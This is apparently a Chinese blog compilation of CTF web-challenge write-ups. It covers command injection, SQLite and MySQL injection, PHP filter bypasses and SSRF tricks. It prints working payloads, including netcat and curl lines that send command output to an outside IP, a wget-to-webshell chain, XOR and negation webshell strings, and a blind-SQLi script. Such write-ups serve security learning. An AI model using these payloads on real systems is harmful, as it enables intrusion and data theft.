chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);

这里明显只能匹配xxx.xxx.xxx.xxx格式的ip,但是可以很简单的通过burp抓包绕过,接着看服务端的检测:

1
preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip

这里并没有使用$限制输入ip的结束,也就是说我们只要满足前面的ip匹配即可,接着使用命令分隔符就能执行我们命令了,但是源码中并没有回显,只有这一部分回显:

1
2
3
4
5
6
if (strpos($str, '100% packet loss') !== false){
printf("<h3>Target is NOT alive.</h3>");
break;
} else if (strpos($str, ', 0% packet loss') !== false){
printf("<h3>Target is alive.</h3>");
break;

那也就是说,我们得通过其他方式来获取回显的信息。这里提供两种方式。

netcat监听

第一种方式就是在我们的服务器上开启一个监听端口,然后在目标机上通过nc链接,把执行的命令返回给我们的服务器。
首先我们开启一个端口,如下:

1
nc -lvnp 2333

接着使用目标机执行ls命令然后发给我们的服务器:

1
ip=127.0.0.1;ls | nc 66.42.72.66 2333

我们的服务器就收到了回显:

接着通过读取flag文件就好了:

1
ip=127.0.0.1;cat the-secret-1755-flag.txt | nc 66.42.72.66 2333

得到flag:picoCTF{n3v3r_trust_a_b0x_36d4a875}

带flag访问接收器

第二种方式是通过带flag直接访问我们的服务器,把执行命令返回的内容通过赋值到一个变量然后访问我们的服务器,例如使用curl 或者是 wget命令。例如我们可以构造这样一个payload:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls`

接着我们查看日志,发现:

我们只得到了一个文件,那就是index.php,结合使用netcat监听方法发现这是第一个文件,这是因为在/的后面只能带一个参数,所以在不清楚有多少文件的情况下,我们是没办法用倒叙或者一个一个查的,因此我们可以使用base64,把结果进行编码构成一个参数进行访问:

1
ip=127.0.0.1;curl http://66.42.72.66/`ls | base64`

我们接收到了base64后的所有文件名:

接着解码再读flag就行了。这也可以使用?带变量进行访问具体可以自己尝试。

A Simple Question

这是一道考sqlite注入的题目,sql注入中这一种倒是不太常见,但是和mysql有着类似的特点。
一进去就发现源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include "config.php";
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 'On');

$answer = $_POST["answer"];
$debug = $_POST["debug"];
$query = "SELECT * FROM answers WHERE answer='$answer'";
echo "<pre>";
echo "SQL query: ", htmlspecialchars($query), "\n";
echo "</pre>";
?>
<?php
$con = new SQLite3($database_file);
$result = $con->query($query);

$row = $result->fetchArray();
if($answer == $CANARY) {
echo "<h1>Perfect!</h1>";
echo "<p>Your flag is: $FLAG</p>";
}
elseif ($row) {
echo "<h1>You are so close.</h1>";
} else {
echo "<h1>Wrong.</h1>";
}
?>

简单审计发现,数据库会查询我们输入的答案,如果返回结果,那么会输出you are so close,但是如果搜索无果,那么就只会提示wrong,题目的主要思路就是通过注入的方式判断answer是什么,再通过输入answer得到flag。

sqlite注入

sqlite注入和mysql注入差不多,就是语法存在一些差异。
这里以字符型为例子:

  • 查询行数:’ order by x – -
  • 查询回显位: ‘ union select 1,2,3,4,5….. – -
  • 查询表名: ‘ union select 1,group_concat(tbl_name),3,4,5… from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ – -
  • 查询列名: ‘ union select 1,group_concat(sql),3,4,5… from sqlite_master where type!=’meta’ and sql not null and name not like ‘sqlite_%’ and table=’表名’ – -
  • 查询字符串: ‘ union select 1,列名,3,4,5… from 表名 – -

接下来就是sqlite的布尔型注入:

  • 查询表的数量:’ and ( (select count(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ ) = x) – -
  • 查询表名长度: ‘ and ((select length(tbl_name) from sqlite_master where type=’table’ and tbl_name not like ‘sqlite_%’ limit 0 offset 1) = x) – -
  • 查询表名:’ and ( (SELECT hex(substr(tbl_name,’猜解的字符位置’,1)) FROM sqlite_master WHERE type=’table’ and tbl_name NOT like ‘sqlite_%’ limit 1 offset 0) = hex(‘a’) ) – -
  • 查询列名: ‘ and ((select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,’(‘)%2b1)),instr((substr(sql,instr(sql,’(‘)%2b1)),’')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"“,””),’猜解的字符位置’,1)) FROM sqlite_master WHERE type!=’meta’ AND sql NOT NULL AND name NOT LIKE ‘sqlite_%’ and name=’表名’) = hex(‘a’) ) – -
  • 查询字符串: ‘ and ( (select hex(substr(列名),1,1)) from users limit 1 offset 0) = hex(‘a’) ) – -

这些操作也不用死记住,理解查询的语法就差不多了,复杂的到时写脚本直接套就行了。

参考链接:
整数溢出原理介绍
浅析C语言之uint8_t / uint16_t / uint32_t /uint64_t
2018护网杯-web-writeup

基于SQLite数据库的Web应用程序注入指南

关于命令执行的初步学习

前言

在此之前写了一篇关于getshell的文章,主要是关于一些如何绕过限制的技巧的,这一篇可以理解为上一篇的后续,主要补充一些linux下命令执行的绕过技巧,以及如何通过仅限的长度来构造shell进行执行。

前置知识

现在很多题目都丢在docker中,一般docker环境都是linux,所以学好linux下的命令至关重要。接下来梳理一些常用命令:
wget:在后面接上下载文件的地址,可以将文件下载下来。-C参数可以将文件保存为你所要的文件名。这个命令一般用来下载shell,在无法写入shell的时候可以尝试。
>:定向输出到文件,如果文件不存在,就创建文件;如果文件存在,就将其清空。这个一般用法是通过 echo “内容” >文件名 的格式来将内容写入文件里面,一般是用来写入shell。
;:命令分隔符
…….
其他的命令自行查阅Linux常用命令大全

绕过技巧

一般来说,我们通过网页输入的命令会经过php代码的过滤以及转义处理才进而在服务器中执行,很多过滤操作也是由php代码来完成,所以很多绕过方式也是基于php环境的(例如上一篇的过滤绕过方式)。

命令符

这么说也不太贴切,主要是指`符号被过滤的情况下,具体作用在上一篇应该讲过。如果我们输入的命令被解析为字符串,那么使用这个符号就能让我们的命令被系统认为是命令来执行,所以在过滤了`这个情况下,我们如何使用其他的符号来使得我们的字符串被解析为命令呢?

1
$( 命令 )

这个就可以成功让其解析。

空格绕过

过滤的时候可能会通过过滤空格来阻止命令执行:

通过测试可以看见当在过滤了空格之后cat命令是无法执行的,但是无伤大雅,图中可以看到我们可以通过几种方式来绕过:
<
$IFS$9
${IFS}
$IFS在测试时发现,无法输出任何东西,主要原因是因为$IFS类似一个截断字符,具体原理也不详谈,总而言之就是将{}加入之后就能稳定的让命令执行。
还有一个在php环境下可以替代空格的字符%09,可以在php环境下进行测试。

命令分隔符

命令分隔符简而言之就是链接两个命令的符号,在linux中最为常见的就是;,但是依旧有替代的符号可以在过滤了;的情况下进行命令分隔:

可以看到最为基本的就是;进行分割,测试中发现|和&只能起到执行后者命令的作用,看大手子的文章是说执行了但不回显,具体原理不去深究,在php环境下如下字符也是可以起到命令分隔的作用的:

命令终止符

顾名思义就是终止命令的符号,有%00,%20也就是#的编码。

关键词过滤

这一部分在上一篇文章详细写过了,这里主要再提一些Linux下的绕过操作:

如上图所示,我列出了三种方法,第一种是通过构造几个变量,然后拼接而成;第二种和第一种类似,通过字符串的拼接来绕过关键词过滤;第三种则是编码绕过,最为常见的就是base64,在有其他环境的情况下还可以使用其他的编码,不过值得注意的是需要学会如何在linux下进行解码。

七个字的命令执行

这也是我参考了很多大牛写的有关命令执行的文章中所提到一个最开始研究这方向的原因,题目短小精简,代码如下:

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

我一开始思路就是要么下一个shell,要么写入一个shell,但是发现这貌似有点行不通,例如当我们需要下载一个shell时,wget xxxx这里是肯定要超过8个字数限制的,然后写入shell这个思路怕是更加不行,我们写入的话必须用echo “xxx”>1,除去xxx单单必要的函数加符号就有8个,所以两种方式都不行。
根据大手子的文章,发现了一个>写入符号的特性,我们可以使用>1来建立一个名为1的文件,但是没有echo的存在是无法写入任何内容的。继续跟着思路走,既然我们可以建立很多文件,那我们有没有可能把文件名一个一个总的写入一个新的文件呢?大手子提到的第二个操作就是ls>a,ls列出所有的文件名然后写入a的新文件中:

但是如图所示写入之后发现有几个问题:第一就是写入的内容是通过ASCII码来进行排序的,也就是说我们这样写必须得时刻注意文件名开头的ASCII码排序,如果在写入shell时要注意这个问题的话太过烦琐了,这个时候就可以用时间排序来进行排列,ls -t排序是把最先创建的文件排在最后:

也就是说我们可以通过ls -t解决排序问题,接着就是没有办法写入<?>这几个符号,也就是说我们没办法写入shell,那只剩一条路了,就是通过写入wget a.cn来下载一个shell了:

但是这时候出现了一个问题,就是我们输入的内容没办法有效的当成命令来执行,这里就需要用到\这个转义符来拼接命令了,在例如ec ho时,我们可以通过转义换行符来拼接成echo这个命令,如下所示:

可以看到我们通过用\转义符替代了;以及成功转义了换行符成功拼接了命令,echo成功输出了1,所以思路出来了,我们构造如下命令就可以写入shell:

1
2
3
4
5
>1.php
>-O\ \\
>cn\ \\
>\ a.\\
>wget\\

参考文章:
浅谈CTF中命令执行与绕过的小技巧
从七个字符长度的任意命令执行到GetShell

HITCON2017-writeup整理

绕过过滤getshell的一些骚操作

前言

最近忙着一些社团的杂事,学习进度一度停滞不前….不知怎么见着其他人的技术越来越高,心中有了一丝无奈以及失望,不知道还能坚持多久下去,咸鱼总是停于安逸之处,强者总能一直前进不止。
借着安恒的题目归纳一下绕过限制getshell的几种策略。

getshell前置内容

在之前的文章讲过了getshell的一些基本内容,重复内容就不讲解了。一般我们通过一些函数来传入命令参数,再通过解析将命令执行最终输出我们想要的结果,具体说一下这些函数的特点:

1
2
3
4
assert():检查一个断言是否为 FALSE,如果是 FALSE 则返回 FALSE,否则是 TRUE。但是这并不是它被利用的原因,在传入一个字符串后,这个字符串会被当做PHP代码来执行,比如我们常用的phpinfo(),file_put_content()等等都能执行。值得注意的是这里不仅仅可以传入字符串,也能传入函数。
eval():把字符串按照 PHP 代码来计算,和上者类似,但是eval()只能传入字符串。
system():执行外部程序,并且显示输出。执行命令把结果返回。
exec():执行命令,如果带有参数,会将结果返回。

然后就是要认识一些基础的linux或者windows下的命令了,具体可以自行百度,后续用到的命令也会粗略提及。

函数被过滤

一般来说,网站会通过过滤shell里常用的一些函数来防止被攻击,常见的过滤手段如下:

1
2
3
<?php 
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
?>

通过将命令执行函数或者一些危险的存在利用点的函数全部用无效符号替换。这种过滤的绕过方式有大致几种,第一种就是通过字符串拼接来绕过,其余可以通过大小写绕过,或者双写绕过,这里的方式可以参考之前XSS过滤的方式。

参考示例

最近接触到的应该是安恒杯9月web1,web1通过利用之前seacms爆出的漏洞而改的,具体示例可以参考seacms最新后台getshell的文章:https://www.anquanke.com/post/id/153402。
在过滤了_GET,_POST以及cookie传参的途径下,通过字符拼接成功构造了payload。参考如下:

1
$GLOBALS["_G"."ET"][$a]($GLOBALS["_G"."ET"][$b]);

我们传入a=system&b=ls,就形成了system(“ls”);,ls命令成功执行最后返回结果。

数字和字母被过滤

这个比上面那个过滤稍微狠一点,拼接字符串是不太可能实现了,具体过滤实现代码如下:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

异或

虽然过滤了数字和字符,但是这并不意味着就没办法构造出字符和数字了,异或以及反取符号都在的情况下,可以通过不可见字符转换为字母,比如以下的几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
'a' = '=' ^ '\\'
'e' = '@' ^ '%'
'r' = '.' ^ '\\'
't' = '(' ^ '\\'
's' = '/' ^ '\\'
'm' = '-' ^ '@'
'y' = '&' ^ '_'
'E' = '>' ^ '{'
'G' = '<' ^ '{'
'O' = '/' ^ '`'
'P' = '+' ^ '{'
'S' = '(' ^ '{'
'T' = '/' ^ '{'

这些是我测试出来可以构造payload的操作,可以直接拿来用。例如构造以下payload:

1
2
3
?code=$_="_".('<' ^ '{').('>' ^ '{').('/' ^ '{');  //$_="_GET"
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=('/' ^ '\\').('&' ^ '_').('/' ^ '\\').('(' ^ '\\').('@' ^ '%').('-' ^ '@') //system($_GET[__])

接着传入命令就行了。
值得注意的是,不仅仅可以用其他可见字符,不可见字符经过url编码进行异或也是可以实现的。

取反(参考了p神的文章)

和上一种方法类似的是取反,例如\x9e取反之后就成了a,各个字符如何通过取反得到可以去测试一下,如下是构造的payload:

1
2
3
?code=${~"\xA0\xB8\xBA\xAB"}[_](${~"\xA0\xB8\xBA\xAB"}[__]); //$_GET[_]($_GET[__])
&_={~"\x8c\x86\x8c\x8b\x9a\x92} //system
&__={~"\x93\x8c"} //ls

此外可以参考p神写的这个payload,他利用了utf8汉字编码提取出类似的编码进行取反:

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

还有一种也是p神想出来的方法,具体操作可以参考他的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

参考示例

这是一道代码审计的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

让我们不使用字母以及数字来执行getFlag()这个函数,这里就可以参考上面的payload来进行绕过了,payload如下:

1
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag

PS:`代表执行命令,?匹配字符,所以形成_GET字符

数字,字母,$以及_被过滤

这个就比上一个再更加狠一点了,因为我们所要的$被过滤了,也就是说我们无法构造变量了,这里用到了一个很冷门的知识:?><?=是可以直接输出后面的代码的(具体原理参考大师傅们的解释),以及?是通配符这个知识。例如我们使用/???/???可以匹配/bin/cat这个命令。

参考示例

这是安恒杯web2的一部分题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>

再通过操作得出有/flag的前提下,我们可以使用上面的知识,生成以下payload:

1
?code=?><?=`/???/??? /????`;?>

字符长度限制

这就要结合某次丧心病狂的比赛了,里面都是命令执行,这部分在后续会详细写出来……..

solve me 后续

I am slowly


题目和之前的一题一样,是一道注入题。分析题目大致流程是这样:
当我们输入answer时,首先判断数据库是否有表,如果没有的话就会创建一个新的表,有的话会从表中进行语句的查询。如果count等于12,那么就会销毁表中的数据。接着判断语句查询回显是否为answer,如果不为,那么count数+1。
大致流程是这样,不过有个很明显的缺陷就是count === 12一般来说这里完全可以使用>= 12来阻止盲注,这里却是使用===来进行阻止。这里就可以卡着11这个节点让count连续加上两次。我们在连续访问第十一次之后,创建一个sleep(50)的请求,再快速访问一次,快速访问过后count为12,但是之前sleep(50)已经过了count的比较,等sleep(50)回应过后,count就变成了13,接着就能无限次的时间盲注访问了。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
header = {}#这里是你绕过12次后的header值
flag = ""
for i in range(1,1000):
for j in "abcdefghijklmnopqrstuvwxyz1234567890{}_":
url = "http://iamslowly.thinkout.rf.gd/?answer=' or case when(answer like '%s%%') sleep(30) else sleep(0) end --+"%(flag+j)
try:
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10]
except:
flag += j
print flag
break

Cheap lottery

这是一道很好的题目,相比之下我宁愿做一道难题也不愿做十道简单的题目,而且最近有些浮躁,一些基础原理回过头没能理会真正的意思。
打开题目是一个购买类似彩票的网站,然后题目要求我们通过购买五个数字,全部正确才能得到flag,按照常理来说,这种概率是很小很小的,所以肯定有其他的方式来获得flag。
一如既往的先去robots.txt看看,发现有个backup,里面有一个sql文件,给我们提示了lottery表的构造,然后就是源码了,废话不多说开始审计,主要梳理一下流程。

这里值得注意的是name的参数是通过guest_加上我们ip地址,这是为了识别我们购买彩票的用户,而且限定了一个IP只能购买一次彩票,有效的阻止了通过爆破来获取flag。然后判断我们是否选择了五个数字,未选满则会让我们选满五个才能进入下一步的操作。

在通过判断一分钟之内我们没买过彩票之后进入这个语句,服务器通过识别用户ip,创建一个名为admin_ip的用户数据,把自己随机生成的五个数一同插入数据库,接着从url中把字母,=,以及[]全部过滤为空,然后把&所连接的几个参数转变为数组的形式。

通过判断间隔时间是否超过一分钟,如果未超时,那么开始从数据库中查找guest_ip以及admin_ip的数据,比对两者的数字是否一致,只有两者五个数字完全一致才能得到flag。
整体看了看流程,能出现的漏洞只有可能是注入以及逻辑漏洞,但是分析流程发现逻辑漏洞存在的可能并不高,数据对接找不到可以利用的点,所以只能是sql注入了,而且在backup中还提示了lottery表的基本构造,所以可以敲定是sql注入,可是注入点在哪里呢?在传参的过程中只有一个是用户可控输入的,那就是lottery,也只能从这里下手,但是服务器在处理参数的时候把字母处理掉了,也就是说在构造guest_ip是不太可能实现的,这该怎么办呢?

利用数据库的字符集转换!!!!!!!!
参考了大师傅的分析文章,发现:

1
2
3
4
5
6
7
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results。

这题目的转换就是从utf8->utf8->utf8,但是发现好像并没有什么作用,在utf8中我们找不到能替代字母的字符,那也只能继续找能代替字母的字符,参考了离别歌师傅的文章,找到了关键的突破口:utf8和默认collation字符顺序下不同编码字符被认为相等的特性,也就是说我们可以使用à来替代a。在mysql的官方文档中说明了这一点:

接着梳理character set与collation的关系:

1
2
3
mysql 有两个支持 unicode 的 character set:  
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。

接着本地测试:

发现collation默认的是utf8_general_ci,在此规则下大小写是不敏感的,所以也可以解释为什么admin=AdMin,继续深入。
unicode比对字符串默认顺序如下:

1
2
3
1.alphabetic ordering
2.diacritic ordering
3.case ordering.

在2的变音排序时,导致了上述的*A 和 Â 是一个字母。所以到此为止,结合以上的几个原理,有大师傅通过这些原理测试出了一张比对表,参考如下:
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
根据比对的结果可以得出:

1
2
admin:%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84
guest:%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5

构造payload:

1
2
3
4
5
6
<?php
$ip = "149.28.21.208";
$time = time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery[A]=1'),('%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84_$ip','$time','1,2,3,4,5'),('%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5_$ip','$time','1,2,3,4,5')%23&lottery[B]=&lottery[C]=&lottery[D]=&lottery[E]=";
echo $url;
?>

接着在服务器curl一下 http://cheaplottery.solveme.peng.kr/index.php 就行了。

Check via eval


审题,题目要求我们输入flag参数的值,不传参的话就会如图所示有一个神秘连接,其实就是返回当前时间戳的sha1值,由于第一个条件需要这个长度,那先点击进去测试长度发现为49,所以我们需要构造一个长度为49的payload。接着用正则过滤了\,(),[],’,.,flag等等要求我们输入的flag通过eval函数输出等于sha1(flag)的值。
这题目考的是一个关于eval函数的知识:


具体原理可以去看eval函数的源码,这里思路就很明确了,构造?><?=$flag;就行了但是flag被过滤了,这里既然有了eval,那么我们完全可以使用多个语句来构造:

1
2
3
<?=${$a};?>;  
$a='alag';
$a{0}='f'

接着用无关的东西填充就行了。最终payload如下:

1
http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';?><?=${$a}?>;1111111111111111

关于代码审计的一些绕过方式

前言

这段时间断断续续的在做一些题目,知识点太过杂乱,而且时间太过仓促所以没写多少博客,最近刚好在系统学习一些php代码审计的内容,因此记录一些常见的绕过方式(参考一夜飘零师傅的博客)
题目的地址如下:http://solveme.peng.kr/

warmup


按照他如何加密我们如何解密就行了。

Bad compare


题目要求我们传入一个名为answer的变量,变量要等于后面一串奇怪的字符串。
直接复制是不太可能的,这里的字符应该是不可见字符,所以我们可以直接用脚本抓取网页代码然后在对应的区域进行url编码,最后把url编码传过去。附上脚本:

1
2
3
4
5
6
7
#coding=utf-8
import requests
import urllib
url = 'http://badcompare.solveme.peng.kr/'
r = requests.get(url)
ans = urllib.quote(r.content[917:927])
print ans

Winter sleep


这里要求我们传入的time值为数字类型,并且要介于(60 60 24 30 2)和(60 60 24 30 3)之间,满足条件后,网页会把time转化为int型然后沉睡time秒后回显flag,这里肯定是不可能等两到三个月的时间来拿flag的。关键点在于is_numeric()函数,这个函数可以检测数字和数字字符串,不仅可以检测十进制,也能检测十六进制,并且科学记数法也能检测出。但是有一个细节可以注意,网页是把time转化为了int型变量,既然有了is_nemeric()函数,为什么还需要用int类型转换呢?
这里就要利用int类型转化的缺陷了,int在转换字符型时,碰到字母就会停下来,也就是说(int)0e213等于0,这个在MD5弱类型比较时有着很强的作用。结合两者,我们可以想到用科学记数法来绕过。time赋值为6e6,等待六秒就行了。

Hard login


这题目是一个陷阱,它直接给出了登入成功会跳转的地址,所以我们是没必要去登入的,成功绕过登入实在是太过困难了一点,不过值得注意的是,直接访问index.php会跳转回来,我们可以抓包拿flag。

URL filtering


读题,题目的大致意思是把url?后的字符串以&作为分隔符分开,然后以=作为分隔符,前者为key,后者为value,然后要求变量do_you_want_flag=yes,但是key和value的值不能为do_you_want_flag和yes。
这里就存在一个矛盾了,既然url不能出现do_you_want_flag和yes那么我们如何通过get的方式得到do_you_want_flag变量值为yes呢?这里题目关键在于这里:


对于不合格的url会返回false,所以我们可以构造这个函数认为不合格但是服务器可以解析的url,例如这个:

1
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

这里就可以成功绕过得到flag了。

Hash collision


这题目比较简单,sha加密弱类型比较用数组就可以轻松绕过:

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

Array2String


审题,题目要求我们不能输入username变量的值,只能通过chr(value)一个一个拼接成username变量的值,但是value不能在32-127之间,而我们的字符ascii码却在这之中,这题绕过方式很简单,关键在于chr()这个函数,chr()函数如果在处理大于256的值时,它会mod256直到参数小于256为止再进行操作,password读取/secret.passwd就能得到,所以payload如下:

1
http://array2string.solveme.peng.kr/index.php?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd


题目的意思是让我们输入一个url参数的值,但是呢,有几点要求:
第一是不能有类似_或者|和空格之类的字符。
第二必须要有http或者https开头,并且域名为题目的域名,也就是http://givemealink.solveme.peng.kr/。
第三是需要有/plz_give_me这个路径。
现在难点有两个,第一个是在_被禁止使用的时候如何绕过检测url路径中的/plz_give_me,这个问题查阅parse_url这个函数就可以解决,在解析url时,如果碰到无效字符,例如%10,%11等,就会使用_来替代这个无效字符。
第二个问题就是如何拿到flag了,这个问题的解决方法就是用到@的黑魔法了,如果按照正常的构造:http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr/plz%10give%10me
那服务器就会去访问givemealink.solveme.peng.kr/flag这个地址,我们没办法看到flag(除非我们是这个服务器的拥有者),所以我们得让我们自己的服务器接收到这个才行。



如果我们使用了@,那么parse_url解析url时的host就是@后面的域名了,所以加上一个@再加自己服务器的ip就可以接收到flag了。

Give me a link2


题目和上一个差不多的要求,就是多了一点:host只能是localhost,127.xx.xx.xx,或者一个任意字符串加端口,也就是说这里不能使用xx.xx.xx.xx或者是xxxx.xxx的地址,满足条件后建立连接带flag访问其服务器的端口,如果访问成功则会返回Okay字样,但是如何绕过限制来使得这题目向我们服务器发生请求呢?

这里可以使用ip2long函数,这个函数会把ip转化为字符串形式,这里就可以绕过检测并且使得网页访问我们的服务器,构造?url=http://xxxxxx:xxxx/plz%10give%10me,网页直接回显了flag,要是没回显监听端口也能得到flag。

Replace filter


题目要求我们传入say变量的值,要求长度要小于20,并且只有say变量中有give_me_the_flag字符串才能得到flag,但是呢,在得到flag之前有一个替换的过程,只要匹配到带有flag的字符串就会被替换为后面一串奇怪的字符,这样一被替换那根本不可能得到flag,所以我们需要尝试绕过。
正则匹配时,.是不会匹配换行符的,在解析完换行符后不在同一行的话是匹配不到的。所以使用%0a即可绕过。
PS:这题目想到了onethink那道题目,那道题目就是通过%0a换行之后绕过了//,把shell写入了文件。

Hell JS

这题目一打开就和其他画风不太对,f12发现这是js混淆,先解密再说,脚本是从一叶飘零大佬那里借鉴来的。

解密发现了一堆可疑的数字,用脚本处理下直接出答案了。

1
2
3
4
5
6
7
8
9
10
11
12
#coding=utf-8
text = '...' #那串字符串
text = text.replace('"','')
text = text.split(',')
final = ""
for i in range(0,len(text)):
temp = ""
temp = text[i]
temp = temp.replace('+','')
temp = chr(int(temp))
final = final + temp
print final

Lax CAPTCHA


这题目我没做出来,分享一下思路吧。
题目要求我们先用generate触发生成图片码的应用,再让我们在3秒内输入验证码得到flag,人工拼手速是不行的,十五个字母太过长了。所以我想回溯到生成图片的最开始去获取answer,但是我发现一旦解码就成了乱码,无法进一步回溯,gg。
第二种思路就是用脚本识别验证码然后传参,但是这种方法目前实现太过困难了,通过像素点从数据库中一一比对这种技术我还做不到,所以gg。
第三种就是去预测生成的验证码了,mt_rand也是一个伪随机生成器,但是我预测失败,gg。

Anti SQLi


这题目就是一道注入题,给了源码而已,有点像实验吧的一些注入题。题目一开始过滤了一堆东西,与其去看正则还不如用字典扫一下,再结合来看。
首先是闭合符’被过滤了,这里可以考虑看看编码情况,如果是gbk编码可以构造出’,但是这里不存在这种方法。但是接着后看的时候发现了一点,发现转义符\并没有过滤完善,过滤\是需要四个\来完成的,所以这里可以用\闭合掉一个’造成闭合符逃逸,接着就是如何注释的问题了,上面仔细观察发现过滤了–加上后面是空格符,换行符之类的,但是忽略了一个不可见字符,所以这里可以使用–%10来注释掉,最后一个问题就是需要查询出31337这个数据,要知道如果使用SELECT * FROM antisqli WHERE id=’{$id}’ AND pw=md5(‘{$pw}’)这个查询语句是查不出的,这里就必须要用到联合查询语句,但是order by和union select 被过滤了,order by倒是可以使用一个一个猜测来完成,但是union select要怎么办呢?可以在中间加个all,只是这个整体被过滤我们只要改变这个就行了,payload如下:

1
?id=\&pw=union all select 1,1,1 from antisqli --%10

回显hello,1
所以把1都改为31337就行了

Name check


先看得到flag的条件,需要row[0],row[1],row[2],row[3]四个相加等于4,也就是说他们四个要为true才行。那接着分析四个语句。
第一个条件要求字符串开头要为a。
第二个条件要求d字符不能在开头。
第三个条件要求字符要为a_m__的格式。
第四个条件字符后两位为in。
结合起来看就是要求name为admin,但是题目会过滤admin以及一些连接符,这里值得注意的是sqlite不像mysql一样使用+来进行连接,而是使用||,所以使用ad’||’min即可绕过。

Super secure hash


这题目没做出来,最后只得到crc32加密后的密码:

这题目思路很明确了,就是通过爆破去找到这个加密前的密码。在比较密码的时候清一色都是使用强类型比较根本不可能使用布尔值来绕过,所以只能去找密码,但是crc32在6位以上的密码又是基本不可能爆破出的,所以卡死在这了,gg。

最后几道题目知识点有点多,还是单独写比较好,毕竟太快写完有点知识不牢固。还是太懒了啊…..学习动力匮乏,希望找点一点积极的东西来促进学习吧。

近期比赛学习到的一些知识

Lottery

这是QCTF的一道题目,算是比较有新意的一道题目(对我来说….)。

题目要求很简单啊,大致意思就是让你买7个数字,中了大概一千万就能买到flag了。
一开始先扫一发目录,果然发现了有.git源码泄露。先把源码下下来吧。

打开源码进行分析。
关于大致流程是这样的,首先要求我们登入,只需要输入一个用户名,网页自动生成一个账户,其实这里账户是什么都无所谓,根本不会写入数据库进行交互,无论哪个账户的初始金额都只有20美元,这里就有两个思路了。
我第一个想法就是看看在数据交互的时候能否更改我账户的金额,翻了翻源码发现这个不同一般网页,这个网页应用了Ajax技术,金额是在前端进行交互,没办法去抓包更改(可能是我技术太垃圾了)。所以思来想去,pass了这个思路。
第二个想法呢,是经过大师傅的指导才有的思路。这个题目既然说了买彩票,那么题目的做法一定和彩票有联系,不会无缘无故的设计一个博彩系统来迷惑我们,所以呢,我们需要搏一搏。
单纯的去买一堆彩票能中上千万是不现实的,所以肯定需要一些特殊的办法来发家致富。因此要关注这是如何验证彩票中奖情况的,所以重点锁定在了api.php里面的函数。

这里可以看出彩票的数字生成是实实在在不可预测的,这个根据实时内存生成的函数基本无法预测。所以只有从如何比较的方向入手了。

